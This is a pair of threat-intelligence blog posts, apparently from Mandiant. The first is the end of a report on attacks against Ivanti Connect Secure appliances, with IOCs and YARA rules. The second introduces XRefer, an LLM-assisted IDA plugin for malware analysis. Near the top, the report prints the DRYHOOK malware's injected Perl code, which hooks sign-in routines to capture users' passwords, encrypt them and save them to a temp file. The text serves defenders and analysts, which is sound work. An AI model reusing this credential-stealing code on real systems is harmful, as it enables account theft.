Upon execution, the malicious Python script opens /home/perl/DSAuth.pm and reads its content in a buffer. Next, the malware uses regular expressions to find and replace the following lines of code:

*setPrompt *runSignin = *DSAuthc::RealmSignin_runSignin; *runSigninEBSL

The *setPrompt value above is replaced with the following Perl code:

# *setPrompt $ds_g=""; sub setPrompt{ eval{ my $res=@_[1]."=".@_[2]."\n"; $ds_g .= $res; }; return DSAuthc::RealmSignin_setPrompt(@_); } $ds_e="";

The injected setPrompt routine captures the second and the third parameter, combines them into the format <param2>=<param3> and then assigns the produced string to a global variable named $ds_g. The next replacement, shown as follows, reveals that the second parameter is a username, and the third parameter is the password of a user trying to authenticate.

# *runSignin = *DSAuthc::RealmSignin_runSignin; $ds_g1=""; sub encode_base64 ($;$) { my $res = ""; my $eol = $_[1]; $eol = "\n" unless defined $eol; pos($_[0]) = 0; # ensure start at the beginning $res = join '', map( pack('u',$_)=~ /^.(\S*)/, ($_[0]=~/(.{1,45})/gs)); $res =~ tr|` -_|AA-Za-z0-9+/|; # `# help emacs # fix padding at the end my $padding = (3 - length($_[0]) % 3) % 3; $res =~ s/.{$padding}$/'=' x $padding/e if $padding; return $res; } sub runSignin{ my $res=DSAuthc::RealmSignin_runSignin(@_); if(@_[1]->{status} != $DSAuth::Reject && @_[1]->{status} != $DSAuth::Restart){ if($ds_g ne ""){ CORE::open(FH,">>/tmp/cmdmmap.kuwMW"); my $dd=RC4("redacted",$ds_g); print FH encode_base64($dd)."\n"; CORE::close(FH); $ds_g = ""; } } elsif(@_[1]->{status} == $DSAuth::Reject || @_[1]->{status} == $DSAuth::Restart){ $ds_g = ""; } return $res; } $ds_e1="";

The code above contains two subroutines named encode_base64 and runSignin. The former takes a string and Base64 encodes it, while the latter intercepts the sign-in process and upon a successful attempt serializes the saved credentials into the global variable $ds_g username and password in a file named cmdmmap.kuwMW under the /tmp directory. The <username>=<password> string is first RC4 encrypted with a hard-coded key and then Base64 encoded with the encode_base64 routine before being saved into the cmdmmap.kuwMW file.

The last code replacement is shown as follows, and it is the same code as above, but it targets a different sign-in scheme that is named EBSL in the code.

# *runSigninEBSL $ds_g2=""; sub runSigninEBSL{ my $res=DSAuthc::RealmSignin_runSigninEBSL(@_); if(@_[1]->{status} != $DSAuth::Reject && @_[1]->{status} != $DSAuth::Restart){ if($ds_g ne ""){ use Crypt::RC4; CORE::open(FH,">>/tmp/cmdmmap.kuwMW"); my $dd=RC4("redacted",$ds_g); print FH encode_base64($dd)."\n"; CORE::close(FH); $ds_g = ""; } } elsif(@_[1]->{status} == $DSAuth::Reject || @_[1]->{status} == $DSAuth::Restart){ $ds_g = ""; } return $res; } $ds_e2="";

After the changes are made, the malware attempts to write the modified content back to the DSAuth.pm file, and if unsuccessful, it will remount the file system as readwrite, write the file, and then mount the file system as readonly again. Finally, all instances of the cgi-server process are killed in order for the modified DSAuth.pm to be activated.

Attribution

Mandiant has merged UNC5337 into UNC5221, confirming initial suspicion that these clusters of activity were likely related. Apart from CVE-2023-46805 and CVE-2024-21887, Mandiant has previously observed UNC5221 conducting zero day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway appliances. UNC5221 has targeted a wide range of countries and verticals during their operations and has leveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on appliances. Additionally, Mandiant previously observed UNC5221 leveraging a likely ORB network of compromised Cyberoam appliances to enable intrusion operations. 

Conclusion

Following the Jan. 10, 2024, disclosure of CVE-2023-46805 and CVE-2024-21887, Mandiant observed widespread exploitation by UNC5221 targeting Ivanti Connect Secure appliances across a wide range of countries and verticals. Mandiant assesses that defenders should be prepared for widespread, opportunistic exploitation, likely targeting credentials and the deployment of web shells to provide future access. Additionally, if proof-of-concept exploits for CVE-2025-0282 are created and released, Mandiant assesses it is likely additional threat actors may attempt targeting Ivanti Connect Secure appliances.

Recommendations

Ivanti recommends utilizing their external and internal Integrity Checker Tool (“ICT”) and to contact Ivanti Support if suspicious activity is identified. While Mandiant has observed threat actor attempts to evade detection by the ICT, the following screenshots provide examples of how a successful scan should appear versus an unsuccessful scan on a device that has been compromised. Note the number of steps reported by the output.

External ICT Scan - Successful

External ICT Scan - Unsuccessful (limited number of steps performed)

Ivanti also notes that the ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. The ICT does not scan for malware or other Indicators of Compromise. Ivanti recommends that customers should run the ICT in conjunction with other security monitoring tools which have detected post-exploitation activity. 

If the ICT result shows signs of compromise, Ivanti recommends a factory reset on the appliance to ensure any malware is removed and to then place the appliance back into production using version 22.7R2.5. 

Acknowledgement

We would like to thank the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE. 

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Code Family

Filename

Description

DRYHOOK

n/a

Credential Theft Tool

PHASEJAM

/tmp/s

Web Shell dropper

PHASEJAM Webshell

/home/webserver/htdocs/dana-na/jam/getComponent.cgi

Web Shell

PHASEJAM Webshell

/home/webserver/htdocs/dana-na/auth/restAuth.cgi

Web Shell

SPAWNSNAIL

/root/home/lib/libsshd.so

SSH backdoor

SPAWNMOLE

/root/home/lib/libsocks5.so

Tunneler

SPAWNANT

/root/lib/libupgrade.so

Installer

SPAWNSLOTH

/tmp/.liblogblock.so

Log tampering utility

YARA Rules rule M_APT_Installer_SPAWNSNAIL_1 { meta: author = "Mandiant" description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH backdoor targeting Ivanti devices. It has an ability to inject a specified binary to other process, running local SSH backdoor when injected to dsmdm process, as well as injecting additional malware to dslogserver" md5 = "e7d24813535f74187db31d4114f607a1" strings: $priv = "PRIVATE KEY-----" ascii fullword $key1 = "%d/id_ed25519" ascii fullword $key2 = "%d/id_ecdsa" ascii fullword $key3 = "%d/id_rsa" ascii fullword $sl1 = "[selinux] enforce" ascii fullword $sl2 = "DSVersion::getReleaseStr()" ascii fullword $ssh1 = "ssh_set_server_callbacks" ascii fullword $ssh2 = "ssh_handle_key_exchange" ascii fullword $ssh3 = "ssh_add_set_channel_callbacks" ascii fullword $ssh4 = "ssh_channel_close" ascii fullword condition: uint32(0) == 0x464c457f and $priv and any of ($key*) and any of ($sl*) and any of ($ssh*) } rule M_APT_Installer_SPAWNANT_1 { meta: author = "Mandiant" description = "Detects SPAWNANT. SPAWNANT is an Installer targeting Ivanti devices. Its purpose is to persistently install other malware from the SPAWN family (SPAWNSNAIL, SPAWNMOLE) as well as drop additional webshells on the box." strings: $s1 = "dspkginstall" ascii fullword $s2 = "vsnprintf" ascii fullword $s3 = "bom_files" ascii fullword $s4 = "do-install" ascii $s5 = "ld.so.preload" ascii $s6 = "LD_PRELOAD" ascii $s7 = "scanner.py" ascii condition: uint32(0) == 0x464c457f and 5 of ($s*) } rule M_Tunneler_SPAWNMOLE_3 { meta: author = "Mandiant" description = "Hunting rule looking for strings and code identified in SPAWNMOLE samples" md5 = "a638fd203ddb540d0484d8e00490df06" strings: $str1 = "/proc/self/exe" $str2 = "/proc/%d/maps" $str3 = "=> encrypt buf" $str4 = "=> decrypt buf" $str5 = "%s <malformed>" $comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2] 3C 01 0F 85 } $comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3 1B 0F 85} $code1 = { 8D 55 B8 8B 45 F0 01 D0 0F B6 10 8B 4D F0 8B 45 0C 01 C8 0F B6 00 31 C2 8D 4D B8 8B 45 F0 01 C8 88 10 83 45 F0 01 83 7D F0 2F 7E D4 } $code2 = { 81 7D E8 E2 E3 49 FB 0F 85 CD 00 00 00 81 7D E4 61 83 C3 1B } condition: uint32(0) == 0x464c457f and (all of ($s*)) and (1 of ($comparison*)) and (1 of ($code*)) } rule M_Dropper_PHASEJAM_1 { meta: author = "Mandiant" description = "Hunting rule looking for strings identified in the PHASEJAM dropper" md5 = "d18e5425ecd9608ecb992606b974e15d" strings: $str1 = "AccessAllow()" $str2 = "/jam/getComponent.cgi" $str3 = "jam/getComponent.cgi.bak" $str4 = "sh=$(echo CnN1Y" $str5 = "up=$(echo CnN1Y" $str6 = "grep -q 'sub AccessAllow()'" $str7 = "cp -f /home/bin/remotedebug /home/bin/remotedebug.bak" $str8 = "chmod 777 /home/bin/remotedebug.bak" $str9 = "cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak" $str10 = "pkill cgi-server" condition: 8 of them and filesize < 20KB } rule M_Credtheft_DRYHOOK_1 { meta: author = "Mandiant" description = "Hunting rule looking for strings identified in the DRYHOOK credential stealer" md5 = "61bb586dc4e047ab081ef6ca65684e48" strings: $str1 = "/home/perl/DSAuth.pm" $str2 = "replace_content" $str3 = "replace1_content" $str4 = "replace2_content" $str5 = "pkill cgi-server" $str6 = "setPrompt =" $str7 = "runSignin = \\*DSAuthc::RealmSignin_runSignin" $str8 = "/bin/mount -o remount,rw / > /dev/null 2>&1" $str9 = {64 61 74 61 20 3d 20 72 65 2e 73 75 62 28 62 22 5c 2a 72 75 6e 53 69 67 6e 69 6e 45 42 53 4c 20 3d 2e 2a 3b 22 2c 62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 72 65 70 6c 61 63 65 32 5f 63 6f 6e 74 65 6e 74 2e 65 6e 63 6f 64 65 28 29 29 2e 64 65 63 6f 64 65 28 29 2e 65 6e 63 6f 64 65 28 22 75 6e 69 63 6f 64 65 5f 65 73 63 61 70 65 22 29 2c 64 61 74 61 29} condition: 8 of them and filesize < 20KB } Changelog

Date

Description

Jan. 8, 2025

DRYHOOK YARA MD5 updated to 61bb586dc4e047ab081ef6ca65684e48

Jan. 9, 2025

SPAWNMOLE YARA Signature update to rule M_Tunneler_SPAWNMOLE_3

Jan. 17, 2025

Attribution updated to UNC5221

Written by: Muhammad Umair

Here at Mandiant FLARE, malware reverse engineering is a regular part of our day jobs. At times we are required to perform basic triages on binaries, where every hour saved is critical to incident response timelines. At other times we examine complicated samples for days developing comprehensive analysis reports. As we face larger and more complex malware, often written in modern languages like Rust, knowing where to go, what to look at, and developing a "map" of the malware forms a significant effort that directly impacts our response times and triage effectiveness.

Today we introduce a new tool, XRefer (pronounced eks-reffer), which aims to shoulder some of this burden for anyone who endeavors to go down these rabbit holes like us, helping analysts get to the important parts faster while maintaining the context of their investigation.

aside_block

<ListValue: [StructValue([('title', 'Get XRefer now!'), ('body', <wagtail.rich_text.RichText object at 0x3ec386f985e0>), ('btn_text', 'Download'), ('href', 'https://github.com/mandiant/xrefer'), ('image', None)])]>

Introduction

XRefer provides a persistent companion view to assist analysts in navigating and understanding binaries. It's a modular and extensible tool that comes in the form of an IDA Pro plugin. Figure 1 shows the XRefer interface.

Figure 1: XRefer opened as a side pane, displaying Cluster Tables

At its core, XRefer offers two complementary navigation paradigms:

1. Gemini-powered cluster analysis, which decomposes the binary into functional units and leverages the large language model (LLM) to describe their purpose and relationships. Think of this like viewing a city from Google Maps: you can quickly identify the business districts, residential areas, and green spaces. In binary terms, this feature helps identify functional groupings like command-and-control communication, persistence mechanisms, or information-gathering routines, giving you a strategic view of the malware's architecture.

2. A context-aware view, which dynamically updates based on your current location in the code. This view presents both immediate artifacts of the current function and those from related functions along the same execution path. It's similar to standing outside a shopping mall with X-ray vision: without entering each store, you can see the restaurant menus, shop inventories, and services offered on each floor. This allows you to make informed decisions about which areas deserve deeper investigation. Just as a mall directory helps you efficiently plan your shopping route, XRefer's context-aware view helps analysts quickly identify relevant code paths by surfacing APIs, strings, capa matches, library information, and other artifacts that might otherwise require manual exploration of multiple functions. 

Let's take a closer look at each of these paradigms, beginning with cluster-based navigation.

The Birds-Eye View: Cluster-Based Binary Navigation

One of XRefer's key features is its ability to break down a binary into functional units, providing an immediate high-level understanding of its architecture. To demonstrate this capability, let's examine an ALPHV ransomware sample written in Rust. Despite containing over 2,700 functions, XRefer's analysis organizes key functionality of this complex binary into clear functional clusters, as shown in the Cluster Relationship graph in Figure 2.

Figure 2: Cluster Relationship graph view

These functional clusters are descriptively labelled as follows:

• Ransomware Main Module

• Configuration Parsing Module    

• User Profile and Process Information Module

• Privilege Escalation, System Information, and AntiAnalysis Module

• File Processing Pipeline Module

• Network Communication and Cluster Management Module

• Thread Synchronization and Keyed Events Module

• File Path and Encryption Key Generation Module

• Console Clearing Module

• UI Rendering and Console Output Module

• Image Generation and Encoding Module

• Data Encoding and Hashing Module

• File Discovery and Dispatch Module

• Thread Synchronization and Time Management Module

While each cluster contains deeper sub-clusters that analysts can explore, we'll focus on the high-level view for now. The clustering and relationship identification is performed through static analysis. XRefer then leverages Gemini to provide natural language descriptions of each cluster and how they relate to one another. Figure 3 illustrates key components in the graph navigation interface.

Figure 3: Cluster graph view

At the top, the view provides a brief description of the binary's functionality and its category. Next, it describes the currently selected cluster and its relationships to other clusters. For convenient navigation, the cross-references of that cluster are listed, followed by a visual graph representation. For readability, these details are transcribed in Table 1.

BINARY CATEGORY

Ransomware

BINARY DESCRIPTION

This binary is ransomware that encrypts files using various ciphers, propagates over the network, and employs anti-analysis techniques.

CLUSTER

Image Generation and Encoding Module

DESCRIPTION

Generates and encodes images in PNG format

RELATIONSHIPS

Uses embedded-graphics and PNG crates for image generation, DEFLATE compression (cluster.id.0061), and PNG encoding. Handles image rendering and encoding errors.

CROSS REFERENCES

<functon_name> - cluster.id.0001 - Ransomware Main Module

<function_address>

Table 1: Transcribed information from Figure 3

The clusters can also be viewed in a linear format within XRefer's interface, as shown in Figure 1.

To better demonstrate cluster navigation visually, we've used a lightweight backdoor that displays more clearly on screen. Figure 4 provides a quick glimpse of the cluster navigation workflow, showing how analysts can quickly browse clusters and navigate to their respective functions in the disassembly or pseudocode views.

Figure 4: Hover over clusters/functions to provide information pop ups. Click to navigate inside them. Double click on addresses to navigate to those functions.

The navigation can automatically sync with clusters—when you navigate to a function that belongs to a known cluster, XRefer can automatically open that cluster's view and highlight the current function within it. XRefer offers two approaches to clustering:

1. Cluster all paths that are part of XRefer’s analysis (XRefer’s analysis is discussed later)

2. Cluster a focused subset of functions, pre-filtered by Gemini based on their artifacts

Note: Throughout this blog post, we use the term "artifacts" to refer to binary elements like strings, API calls, library references, and other extractable information that help understand program behavior.

By default, XRefer employs the first method. While this approach is comprehensive, it may create additional clusters around unidentified libraries in the program. These library clusters are typically easy to identify and exclude from analysis.

The second clustering method is optionally available via the context menu and proves valuable for automatically filtering out library, runtime/compiler artifacts, and repetitive noisy functions. However, due to the inherent nature of LLMs, this approach can be inconsistent—artifacts might be missed, and results can vary between runs. While missed artifacts can usually be recovered through a quick re-run of the LLM analysis, this variability remains an inherent characteristic of this approach.

XRefer can also display these LLM-filtered artifacts in a dedicated view, separate from the clustering visualization. This view, shown in Figure 5, provides analysts with a streamlined overview of the binary's most relevant artifacts while filtering out noise like library functions and runtime artifacts.

Figure 5: Interesting artifacts and their corresponding functions filtered out by Gemini

It's important to note that clusters aren't perfect boundaries. They may not capture every related function and can contain functions that are reused across different parts of the binary. However, any missed related functions will typically be found in the vicinity of their logical cluster, and reused functions are generally easy to identify at a glance. The goal of clustering is not to create strict divisions, but rather to establish general zones and subzones of related functionality.

Function Labeling: Prefixing Cluster Membership in Names

XRefer can optionally encode cluster information directly into IDA's interface by prefixing function names. These labels provide architectural context directly inside the disassembly and pseudocode windows. Table 2 shows the classification system used to prefix functions based on their cluster relationships.

Prefix

Description

<cluster>_

Single-cluster functions using Gemini-suggested prefixes specific to their cluster's role

xutil_

Utility functions that serve multiple clusters (e.g., memory operations, string handling, logging, runtime operations)

xint_

Intermediate nodes that connect functions within or between clusters but aren't strictly part of any cluster

xunc_

Functions that don't belong to any cluster

Table 2: XRefer's function prefix categories and their architectural significance Down in the Trenches: Context-Aware Code Navigation

Having seen how XRefer's cluster analysis provides a high-level view of binary architecture, let's examine its second navigation paradigm: a context-aware view that updates automatically based on the function currently being analyzed.

Figure 6: Function context table

The function context table (shown in Figure 6) organizes information into three main components:

1. Cluster Membership - At the top, displaying which clusters the current function belongs to. Functions appearing in multiple clusters often indicate utility or helper functions rather than specialized functionality.

2. Direct References - Listed under "DIRECT XREFS," showing artifacts directly used or called by the current function.

3. Indirect References - Categorized tables prefixed with "INDIRECT," showing artifacts used by all functions called through the current function's execution paths. This provides a preview of downstream functionality without requiring manual traversal of each function.

Both direct and indirect references include:

• APIs and API traces

• Strings

• Libraries

• capa results

For direct references, each artifact is listed with its reference addresses. Double clicking these addresses jumps to their exact location in the current function. For indirect artifacts, the displayed addresses are different—they point to function calls within the current function that eventually lead to those artifacts through execution paths. This x-ray-like capability eliminates the tedious process of diving into nested function calls to discover artifacts and functionality, only to return to the primary function.

XRefer extends this visibility through its Peek View feature, accessible via the context menu. When enabled, clicking on any function dynamically filters the artifact view to display only those elements that lie along its execution paths. This instant preview allows analysts to quickly assess a function's downstream behavior without manually tracing through its call graph, significantly streamlining the exploration of complex codebases. Figure 7 demonstrates how this functions in practice.

Figure 7: Peek View filtering artifacts based on selected function's execution paths

Beyond Peek View, XRefer offers on-demand artifact filtering through key bindings. A core design principle of XRefer is the uniform treatment of all artifact types—any operation available for one type of artifact is consistently available across all others. For instance, path analysis capabilities that work with API references can be similarly applied to capa results. Let's examine the key functionalities available under this navigation paradigm.

Path Graphs

XRefer can generate and visualize all simple paths from the entry point to any type of artifact. These interactive graphs serve as powerful navigation tools, particularly when analysts need to trace specific functionality through the binary. Figure 8 demonstrates this capability by displaying all execution paths leading to GetComputerNameW in the ALPHV ransomware sample. Each function node in the graph provides a contextual pop-up showing its complete artifact inventory.

Figure 8: Searching for an artifact, drawing its path graph, and using it to navigate while glancing over function artifacts through pop-ups

Path graphs include a simplification feature that can reduce visual complexity by omitting nodes that either contain no artifacts or contain only excluded artifacts (exclusions are discussed later). Figure 10 illustrates this simplification, where the graph is reduced from 15 to 12 nodes, representing a 20% reduction in complexity. While more complex graphs can achieve higher simplification ratios, their full visualization extends beyond the practical constraints of this blog post.

Figure 9 (left) and Figure 10 (right): Showing side by side versions of an example normal path graph and its corresponding simplified path graph with 20% reduction

Search

XRefer provides unified search functionality across all artifact types directly within the function context table view. Figure 8 demonstrates this capability while searching for the API reference used in path graph generation.

Cross References++

XRefer implements its own cross-reference view that goes beyond IDA Pro's traditional functionality (accessed via "X"). This view, similarly triggered by pressing "X" on any artifact, encompasses all artifact types, including elements that IDA Pro cannot typically track, such as capa results, APIs identified through dynamic traces, and strings extracted by language-specific modules like the Rust parser.

Trace Navigation

While API traces are integrated throughout XRefer's interface—from function context tables (Figure 6) to information pop-ups (Figure 8)—the plugin also offers dedicated trace navigation modes. These three modes, illustrated in Figure 11, provide views of API calls with their arguments, each offering different levels of scope:

• Function Scope - Shows only the API calls made directly within the current function, providing a clean view of its immediate external interactions

• Path Scope - Reveals all API calls that occur downstream from the current function, following its execution paths. This helps analysts understand the complete chain of system interactions triggered by a particular function.

• Full Trace - Displays the complete API trace captured during dynamic analysis, regardless of static code paths. Useful when you may have calls associated with encrypted regions in the binary or generally from dynamically resolved APIs.

Figure 11: API trace-based navigation

Artifact Exclusion

XRefer supports artifact exclusion to reduce noise when analyzing large, complex binaries. Excluded artifacts are omitted from multiple views and processes including the main interface, cluster analysis, and simplified path graphs.

Artifacts can be excluded in two ways:

• Directly through XRefer's interface, where multiple artifacts can be selected and excluded using key bindings

• Via the settings dialog (shown in Figure 12), which supports wildcard-based exclusion patterns. For instance, noisy Rust standard library references can be filtered using patterns like std*, providing efficient bulk exclusion of known noise sources.

These exclusions persist across sessions, allowing analysts to maintain their preferred filtering setup.

Figure 12: Shows wildcarding artifacts for exclusion from the Settings Dialog

Specialized Rust Support

XRefer has a specialized Rust module (discussed later) that extracts strings and library usage information. During Rust compilation, the compiler embeds library source paths that typically appear adjacent to their corresponding library code within functions. These compiler-inserted references serve two key purposes as function artifacts:

• Identifying library dependencies and their specific functionality within code sections

• Providing positional hints that help locate where library code is actually implemented within functions

This compiler-provided context feeds into both XRefer's cluster analysis and enhances manual navigation, helping analysts quickly locate relevant code regions while understanding which Rust library implementations are being used. The module also includes a basic function renaming capability for Rust binaries, which will be covered in detail later.

Auxiliary Features

Before concluding this section, two standalone features warrant mention, though they operate independently of the clustering mechanism and exclusion system.

Boundary Method Scanning: XRefer allows multiple artifacts to be selected in the function context view for boundary scanning. This operation identifies the Lowest Common Ancestor (LCA) in the call graph for all selected artifacts. In niche scenarios, this can be used to isolate specific functionality based on a subset of artifacts and identify the most specific parent function that encompasses all selected artifacts without intermediate functions. While originally intended to serve a larger purpose in the clustering mechanism, the clustering system ultimately took a different direction, leaving this as a standalone feature.

String Lookups: During processing, XRefer can optionally query strings against public Git repositories through Grep App for categorization purposes. This is strictly a placeholder implementation; locally maintained databases by teams or individuals would be better suited for these queries. The feature operates independently of XRefer's broader ecosystem, primarily serving to categorize known strings for noise reduction or occasional OSINT insights.

Under the Hood: XRefer's Analysis Engine

Having explored both navigation paradigms, let's examine the technical foundation that makes them possible. While a deep dive into XRefer's internals would warrant its own blog post, understanding a high-level view of its analysis pipelines and extensibility will help set the context.

Ingestion Sources

XRefer builds its understanding of binaries through two primary data ingestion channels:

1. Internal - Whereby it extracts and processes all the imports, strings and any library data from the binary itself. This also involves language-specific modules. XRefer comes out of the box with a Rust-specific language module, and more can be added.

2. External - This includes API traces from third-party tooling and results from capa’s analysis. XRefer currently supports ingestion of API traces from VMRay’s sandbox and Cape Sandbox. Additional modules can be written, for instance, TTD traces would be a good candidate.

Note: Out of the mentioned traces, VMRay produces the best results. Cape sandbox, while good, hooks NT* APIs and is much noisier in terms of visual display as it loses 1:1 API to import mapping. Unfortunately, that’s one of the very few open-source solutions available right now.

XRefer feeds the available data along with cluster relationships in the form of call flows to the LLM, which generates semantic descriptions for each cluster, their relationships, and the overall binary. As demonstrated in Table 3, while external data sources enhance the analysis, XRefer can produce meaningful results even with just internal binary analysis.

With External Data Sources (API Traces/capa)

Without External Data Sources

• Ransomware Main Module

1. Configuration Parsing Module    

2. User Profile and Process Information Module

3. Privilege Escalation, System Information, and AntiAnalysis Module

4. File Processing Pipeline Module

5. Network Communication and Cluster Management Module

6. Thread Synchronization and Keyed Events Module

7. File Path and Encryption Key Generation Module

8. Console Clearing Module

9. UI Rendering and Console Output Module

10. Image Generation and Encoding Module

11. Data Encoding and Hashing Module

12. File Discovery and Dispatch Module

13. Thread Synchronization and Time Management Module

• Ransomware Main Module

1. Configuration Parsing Module

2. User Profile Retrieval Module

3. Privilege Escalation and System Manipulation Module

4. File Processing Pipeline Management Module

5. Cluster Communication Module

6. Synchronization Primitives Module

7. Filename Generation and Encryption Key Generation Module

8. Console Clearing Module

9. UI Rendering Module

10. Desktop Note and Wallpaper Module

11. Soft Persistence Module

12. File Queue Management Module

13. Time Handling Module

Table 3: Example cluster analysis showing how results vary with and without external data (API traces/capa) for an ALPHV sample. Actual analysis quality for any binary depends on the richness of both internal binary artifacts and external data sources.

Note: While LLM-generated labels and descriptions may vary in phrasing between runs, they tend to consistently convey similar semantic information.

Language Modules and Rust

XRefer supports language-specific analysis through dedicated modules and ships with a module for Rust binaries. This allows for specialized handling of language-specific characteristics. The Rust module provides:

• Identification of rust_main 

• Parsing of Rust thread objects and their indirect calls, improving path coverage

• Extraction of library/crate information for better code understanding in both cluster analysis and context tables

• Limited function renaming capabilities for a subset of functions where no inlining conflicts are detected, based on compiler strings and excluding runtime/std/internal libraries

Figure 13 (left) and Figure 14 (right): Subset of library information extracted from ALPHV. The categorization seen here is also performed via Gemini.

Rust Function Renaming

The Rust module includes a limited function renaming capability for Rust binaries, though its approach is deliberately restrictive. While XRefer is not a function identification tool, it can leverage compiler strings embedded in Rust binaries for basic renaming. Due to the prevalence of inlining from compiler optimizations, the module only renames functions where no inlining is detected and excludes internal references (std*, core*, alloc*, etc.) which are particularly prone to inlining.

The renaming doesn't provide the full function names but does include up to the submodule name. Again, this is not a substitute for proper function identification as only a very small handful of functions can be renamed this way. However, since this capability is not version-specific to the toolchain, platform, and/or crate, it represents a low-hanging fruit that would have been unwise to ignore. As an example, in the ALPHV binary, the Rust module was safely able to rename 362 out of ~2,700 functions.

Figure 15: Subset of functions renamed via XRefer’s Rust module

LLM Analysis and Extensibility

XRefer ships with support for Gemini through a modular provider system. The architecture is designed for extensibility—new LLM providers can be added by implementing a simple interface that handles model-specific requirements like rate limiting and token management. It should be noted that cluster analysis, especially for large binaries, requires large context windows, an area in which Gemini models excel compared to other models.

Similarly, the prompt system is built to be extensible. New prompts can be easily added by creating prompt templates and corresponding response parsers. This allows XRefer's analysis capabilities to grow as new use cases are identified or as LLM technology evolves.

It's important to note that XRefer currently limits its LLM analysis to artifacts and function/cluster relationships (in the form of call flows) without submitting any actual code. For example, when analyzing a network communication module, XRefer provides the LLM with a rich set of artifacts like API calls (send, recv), strings (URLs, User-Agents), dynamic API traces, capa matches (network communication, socket operations), library/crate information, and their relationships in the call graph, rather than the underlying implementation code. This is just one simplified example. The actual analysis encompasses the full spectrum of artifacts XRefer collects. 

The effectiveness of this approach depends on the successful extraction of these artifacts, whether through specialized language modules, internal binary analysis, or ingestion of external data sources. When artifacts are available, the Gemini-powered analysis effectively breaks down binary functionality into distinct functional units, providing an explorable architectural view of the binary. Code-level analysis represents the next logical step in XRefer's evolution.

Path Analysis: The Foundation of XRefer's Navigation

XRefer's architecture is fundamentally entrypoint-centric. It constructs execution paths between entry points and functions containing artifacts, forming the backbone of both its clustering algorithm and the context-aware navigation capabilities described earlier. While clustering can be implemented without path analysis, our current approach of path-based clustering consistently produces decent results. Standalone clustering may come as a feature later down the road.

While entry point selection for PE executables is straightforward and automatic, DLL analysis may require analysts to select specific exports as starting points, since the default entry point might not be the most interesting one. XRefer allows analysts to analyze multiple entry points, providing flexibility in how they approach the binary.

Path analysis introduces computational overhead, but the benefits it provides to both navigation capabilities and clustering accuracy make this trade-off worthwhile. It's important to note that this overhead is entirely front-loaded into the initial processing phase. Once analysis is complete, the pre-processed results ensure fluid navigation and responsiveness during actual usage. Table 4 shows what analysis times look like for several large binaries.

SHA256

Function Count

Size

Analysis Time

3e4d512ad2aa464ecc0a10397a009f15904e17504feb6e14efe3e68a7cfe14ae

2,677

5.5 MB

209 sec

9a85242fbb7d81452866a494f187640d6727a322882558497e4435eefad01e75

60,508

13.0 MB

428 sec

0f11aeecbde1f355d26c9d406dad80cb0ae8536aea31fdddaf915d4afd434f3f

1,756

3.0 MB

262 sec

c6b727d7cff517577db838db18ad17b46334d3c91c2e50893634e56cdc19e41f

2,773

3.0 MB

400 sec

3e91e5444e37283a227c20a79d1dd6cd722766fd7c92208254ed8b5abca6a231

1,196

352 KB

118 sec

Table 4: Analysis-time listing for an arbitrary set of binaries

Note: Times include LLM queries for artifact discovery and cluster analysis. Actual duration varies based on system capabilities and binary complexity—from seconds for simple binaries to longer for complex ones. This listing aims to provide a general sense of expected time scales.

A notable limitation of path analysis arises in binaries with numerous indirect calls, where complete coverage cannot be guaranteed without proper resolution of these indirect targets.

Configuration

All LLM configurations and paths for external data sources can be managed through XRefer's settings dialog.

Figure 16: XRefer settings dialog box

XRefer supports the ingestion of indirect cross-references that IDA cannot resolve statically. Examples can include dynamically resolved addresses for indirect calls, such as virtual function calls through vtables in C++ binaries and function pointer calls. These resolutions can be imported from sources like debugger scripts or binary instrumentation frameworks, enabling XRefer to construct more complete execution paths.

UI/UX and Compatibility

XRefer is implemented as an interactive TUI (Text-based User Interface) plugin. While IDA's simplecustviewer_t wasn't designed to be a proper TUI system, additional Qt implementations have been added to improve the interface. Users may encounter bugs, which will be addressed as they are reported.

Some rules of thumb when working with XRefer:

• All addresses, regardless of where they are displayed in the TUI, are navigable by double clicking.

• Cluster IDs (cluster.id.xxxx), regardless of where they show up in the TUI, are also explorable by single clicking.

• If an address is the start of a function, hovering over it will always display an information pop-up about that function.

• Hovering over cluster IDs will display a pop-up with details about that cluster.

• Press ESC to return to the previous location/state (unless a graph is explicitly "pinned").

XRefer maintains state within the current function and resets upon navigation to a new function. For detailed usage instructions and key bindings, please refer to the XRefer repository.

It is recommended to enable auto-resizing, which automatically adjusts XRefer's window dimensions when viewing graphs and restores default size upon exit. While XRefer is designed to remain open as a persistent companion view, it includes an expand/collapse feature for quick access when needed. Figure 17 demonstrates these interface elements.

Figure 17: Auto-resizing and widget collapse/expansion

XRefer is recommended for use with either IDA <= 8.3 or IDA >= 9.0. IDA 8.4 contains a simplecustviewer_t visual bug that causes washed-out colors in several areas. Due primarily to the author's preference for dark mode, the plugin currently provides better color contrast in dark themes compared to the default theme, though this may be balanced in future releases.

XRefer has been primarily tested with Windows binaries. While there are no fundamental limitations preventing support for ELF or Mach-O formats and XRefer may just work out of the box with most of them, some tweaks or implementation fixes might be required to ensure proper support.

How to Get XRefer

XRefer is now available as an open-source tool in Mandiant's GitHub repository. Installation requires installing Python dependencies from requirements.txt and copying the XRefer plugin to IDA's plugin directory.

Note that one of the dependencies, asciinet, requires Java (JRE or OpenJDK) to be configured on your system. For detailed installation instructions, please refer to the XRefer repository.

Another alternative is to use FLARE-VM, which sets up a reverse engineering environment with a lot of useful tools, including XRefer.

Future Work

This is the initial release of XRefer and thus includes some implementations that are early in their maturity. While LLMs may eventually evolve to accurately interpret all forms of source and compiled code, the current approach focuses on systematic analysis rather than treating LLMs as a black box for binary summarization. This methodology not only provides high-level insights but actively supports analysts in their detailed investigation workflows.

Immediate areas for future development include, beyond bug fixes and UI/UX refinements:

• Extend cluster analysis to include code submissions, improving not just analysis at scale but also providing targeted insights for manual reverse engineering workflows

